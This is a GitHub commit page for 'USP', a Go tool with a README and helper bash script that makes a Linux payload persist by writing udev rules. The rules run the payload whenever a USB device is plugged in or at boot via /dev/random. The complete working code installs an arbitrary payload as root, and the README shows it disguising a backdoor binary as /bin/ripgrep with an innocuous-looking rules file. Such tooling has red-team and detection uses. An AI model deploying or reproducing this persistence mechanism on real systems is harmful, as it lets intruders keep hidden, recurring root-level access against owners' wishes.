-
Notifications
You must be signed in to change notification settings - Fork 21
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
0 parents
commit 1d2f06b
Showing
6 changed files
with
258 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,65 @@ | ||
# USP | ||
``` | ||
.,;,. | ||
'KMMMMM0. | ||
,oOXNWWWWWWWMMMMMMMMX | ||
cXMWOl::::::::xMMMMMMMo | ||
cXMWd. 'oO0ko. | ||
.;lll:' cXMWd. | ||
.oNMMMMMMMWx. lNMWd. , | ||
.NMMMMMMMMMMMW: .lNMNo. USP x udev: Persistance is the key .MWOl. | ||
OMMMMMMMMMMMMMWOOOOOOKWMMMKOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO0MMMMMNx:. | ||
kMMMMMMMMMMMMMNxxxxxxxxxxxxxxxxxONMMMXxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxOMMMMMKd, | ||
.XMMMMMMMMMMMW; ,0MMO' .MNx:. | ||
cKMMMMMMMNd. 'OMMO, . | ||
.,:c:,. ,OMM0' | ||
'OMM0, dXXXXXXXK. | ||
'OMMKxlllllllcXMMMMMMMM. | ||
.:x0XXXXXXXXWMMMMMMMM. | ||
OMMMMMMMM. | ||
.,,,,,,,, | ||
``` | ||
## Features | ||
This Go program establishes persistence on a Linux system by creating a udev rule that triggers the execution of a specified payload (binary or script). It offers two trigger options: | ||
|
||
- **USB Persistence:** The payload is executed whenever a USB device is inserted. | ||
- **Boot Persistence:** The payload is executed during system boot, leveraging the `/dev/random` device. | ||
|
||
Additionally, it provides a cleanup option to remove the established persistence. | ||
|
||
## Usage | ||
|
||
1. **Compile the Go script:** `go build main.go -o usp` | ||
|
||
2. **Run the script with root privileges (sudo):** `sudo ./usp` | ||
|
||
|
||
You can customize the behavior using the following flags: | ||
|
||
- `-f <filename>`: Specify the path where the payload will be written (default: `/usr/local/bin/persistence`). | ||
- `-p <payload>`: Specify the path to the payload file (binary or script) that will be executed. This is a required flag. | ||
- `-r <rulesname>`: Specify the name of the udev rules file (default: `75-persistence.rules`). | ||
- `-usb`: Enable USB persistence. | ||
- `-random`: Enable boot persistence using `/dev/random`. | ||
- `-c`: Cleanup persistence, removing the payload file and udev rule. | ||
|
||
|
||
## Example | ||
- The following uses the USB persistence method to run `example.sh` everytime a USB device is connected. | ||
```bash | ||
sudo ./usp -p ./example.sh | ||
``` | ||
|
||
- The following uses the "random" persistence method to run `my_backdoor_binary` everytime `/dev/random` is loaded (such as at boot). It is installed at `/bin/ripgrep`. (Masquerading as the `ripgrep` binary). Additionally, the rules file is created in `/etc/udev/rules.d/123-notsektchy.rules` | ||
|
||
```bash | ||
sudo ./usp -random -f /bin/ripgrep -p my_backdoor_binary -r 123-notsketchy.rules | ||
``` | ||
|
||
|
||
|
||
## References && Additional Reading | ||
- https://www.aon.com/en/insights/cyber-labs/unveiling-sedexp | ||
- https://ch4ik0.github.io/en/posts/leveraging-Linux-udev-for-persistence/ | ||
- https://opensource.com/article/18/11/udev |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,2 @@ | ||
#!/bin/bash | ||
echo $(date) >> /tmp/usp.log |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,11 @@ | ||
module github.com/grahamhelton/usp | ||
|
||
go 1.22.2 | ||
|
||
require github.com/fatih/color v1.17.0 | ||
|
||
require ( | ||
github.com/mattn/go-colorable v0.1.13 // indirect | ||
github.com/mattn/go-isatty v0.0.20 // indirect | ||
golang.org/x/sys v0.18.0 // indirect | ||
) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,11 @@ | ||
github.com/fatih/color v1.17.0 h1:GlRw1BRJxkpqUCBKzKOw098ed57fEsKeNjpTe3cSjK4= | ||
github.com/fatih/color v1.17.0/go.mod h1:YZ7TlrGPkiz6ku9fK3TLD/pl3CpsiFyu8N92HLgmosI= | ||
github.com/mattn/go-colorable v0.1.13 h1:fFA4WZxdEF4tXPZVKMLwD8oUnCTTo08duU7wxecdEvA= | ||
github.com/mattn/go-colorable v0.1.13/go.mod h1:7S9/ev0klgBDR4GtXTXX8a3vIGJpMovkB8vQcUbaXHg= | ||
github.com/mattn/go-isatty v0.0.16/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM= | ||
github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY= | ||
github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y= | ||
golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= | ||
golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= | ||
golang.org/x/sys v0.18.0 h1:DBdB3niSjOA/O0blCZBqDefyWNYveAYMNF1Wum0DYQ4= | ||
golang.org/x/sys v0.18.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,152 @@ | ||
// This Go program establishes persistence on a Linux system by creating a udev rule | ||
// that triggers the execution of a specified payload (binary or script) | ||
// either when a USB device is inserted or on system boot (using /dev/random). | ||
// It also provides a cleanup option to remove the persistence. | ||
|
||
package main | ||
|
||
import ( | ||
"flag" | ||
"fmt" | ||
"os" | ||
"os/user" | ||
|
||
"github.com/fatih/color" | ||
) | ||
|
||
var goodTick = color.GreenString("[+] ") | ||
var badTick = color.RedString("[!] ") | ||
|
||
func checkRoot() { | ||
// Check if running as root | ||
currentUser, err := user.Current() | ||
if err != nil { | ||
fmt.Println(badTick, "Error getting current user:", err) | ||
os.Exit(1) | ||
} | ||
|
||
if currentUser.Uid != "0" { | ||
fmt.Println(badTick, "Error: must be run as root") | ||
os.Exit(1) | ||
} | ||
|
||
} | ||
|
||
// Write the /etc/udev/rules.d/<filename>.rules | ||
func writeUdevRule(ruleContent string, rulesnamePtr *string) { | ||
err := os.WriteFile("/etc/udev/rules.d/"+*rulesnamePtr, []byte(ruleContent), 0644) | ||
if err != nil { | ||
fmt.Println(badTick, "Error writing udev rule:", err) | ||
os.Exit(1) | ||
} | ||
fmt.Println(goodTick, "Added udev rule:", *rulesnamePtr) | ||
|
||
} | ||
|
||
// Write the payload that will be executed as persistence | ||
func writePayload(payloadPtr *[]byte, filenamePtr *string) { | ||
err := os.WriteFile(*filenamePtr, *payloadPtr, 0755) | ||
if err != nil { | ||
fmt.Println(badTick, "Error writing payload file:", err) | ||
os.Exit(1) | ||
} | ||
fmt.Println(goodTick, "Added persistence payload:", *filenamePtr) | ||
|
||
} | ||
|
||
func cleanUp(filenamePtr *string, rulesnamePtr *string) { | ||
// Remove the payload file | ||
err := os.Remove(*filenamePtr) | ||
if err != nil { | ||
fmt.Println(badTick, "Error removing payload file:", err) | ||
} else { | ||
fmt.Println(goodTick, "Removed payload file:", *filenamePtr) | ||
|
||
} | ||
|
||
// Remove the udev rule | ||
err = os.Remove("/etc/udev/rules.d/" + *rulesnamePtr) | ||
if err != nil { | ||
fmt.Println(badTick, "Error removing udev rule:", err) | ||
} else { | ||
fmt.Println(goodTick, "Removed udev rule:", *rulesnamePtr) | ||
} | ||
} | ||
|
||
func main() { | ||
fmt.Println(` | ||
.,;,. | ||
'KMMMMM0. | ||
,oOXNWWWWWWWMMMMMMMMX | ||
cXMWOl::::::::xMMMMMMMo | ||
cXMWd. 'oO0ko. | ||
.;lll:' cXMWd. | ||
.oNMMMMMMMWx. lNMWd. , | ||
.NMMMMMMMMMMMW: .lNMNo. USP x udev: Persistance is the key .MWOl. | ||
OMMMMMMMMMMMMMWOOOOOOKWMMMKOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO0MMMMMNx:. | ||
kMMMMMMMMMMMMMNxxxxxxxxxxxxxxxxxONMMMXxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxOMMMMMKd, | ||
.XMMMMMMMMMMMW; ,0MMO' .MNx:. | ||
cKMMMMMMMNd. 'OMMO, . | ||
.,:c:,. ,OMM0' | ||
'OMM0, dXXXXXXXK. | ||
'OMMKxlllllllcXMMMMMMMM. | ||
.:x0XXXXXXXXWMMMMMMMM. | ||
OMMMMMMMM. | ||
.,,,,,,,, | ||
`) | ||
checkRoot() | ||
|
||
// Define command-line flags | ||
filenamePtr := flag.String("f", "/persistence", "/path/to/location of binary to be installed at") | ||
payloadPtr := flag.String("p", "./example_payload.sh", "Path to the payload file (binary or script) that will be executed") | ||
rulesnamePtr := flag.String("r", "75-persistence.rules", "Name of the persistence rules file") | ||
usbPtr := flag.Bool("usb", false, "Enable USB persistence") | ||
randomPtr := flag.Bool("random", false, "Executes when /dev/random is loaded (on reboot)") | ||
cleanupPtr := flag.Bool("c", false, "Cleanup persistence") | ||
|
||
// Parse the flags | ||
flag.Parse() | ||
|
||
if *cleanupPtr { | ||
cleanUp(filenamePtr, rulesnamePtr) | ||
os.Exit(0) | ||
} | ||
|
||
if !*usbPtr && !*randomPtr { | ||
fmt.Println(badTick, "Please specify a persistence method -usb or -random") | ||
flag.Usage() | ||
os.Exit(1) | ||
|
||
} else { | ||
// Check if the payload file exists | ||
if _, err := os.Stat(*payloadPtr); os.IsNotExist(err) { | ||
fmt.Println(badTick, "Error: Payload file not found:", *payloadPtr) | ||
os.Exit(1) | ||
} | ||
|
||
// Read the payload from the file | ||
payload, err := os.ReadFile(*payloadPtr) | ||
if err != nil { | ||
fmt.Println(badTick, "Error reading payload file:", err) | ||
os.Exit(1) | ||
} | ||
|
||
if *usbPtr { | ||
fmt.Println(goodTick, "Adding USB persistence") | ||
ruleContent := fmt.Sprintf("SUBSYSTEMS==\"usb\", RUN+=\"%s\"", *filenamePtr) | ||
writePayload(&payload, filenamePtr) | ||
writeUdevRule(ruleContent, rulesnamePtr) | ||
} | ||
if *randomPtr { | ||
fmt.Println(goodTick, "Adding /dev/random persistence") | ||
ruleContent := fmt.Sprintf("ACTION==\"add\", ENV{MAJOR}==\"1\", ENV{MINOR}==\"8\", RUN+=\"%s\"", *filenamePtr) | ||
writePayload(&payload, filenamePtr) | ||
writeUdevRule(ruleContent, rulesnamePtr) | ||
|
||
} | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,17 @@ | ||
#!/bin/bash | ||
if [[ $EUID -ne 0 ]]; then | ||
echo "This script must be run as root" | ||
exit 1 | ||
fi | ||
|
||
# Don't write to tmp because it will not survive reboot | ||
# Change to valid path before running | ||
echo "touch /home/graham/exploited" > /home/graham/udev.sh | ||
chmod +x /home/graham/udev.sh | ||
|
||
# Add when a USB device is plugged in (which may not be done often, or may be done way too much) | ||
# echo 'SUBSYSTEMS=="usb", RUN+="/bin/sh -c '/tmp/udev.sh'"' > /etc/udev/rules.d/75-persistence.rules | ||
|
||
# Run when /dev/random is loaded, which is done at reboot | ||
# Make sure to change /home/graham to something valid on the system | ||
echo 'ACTION=="add", ENV{MAJOR}=="1", ENV{MINOR}=="8", RUN+="/bin/sh -c '/home/graham/udev.sh'"' > /etc/udev/rules.d/75-persistence.rules |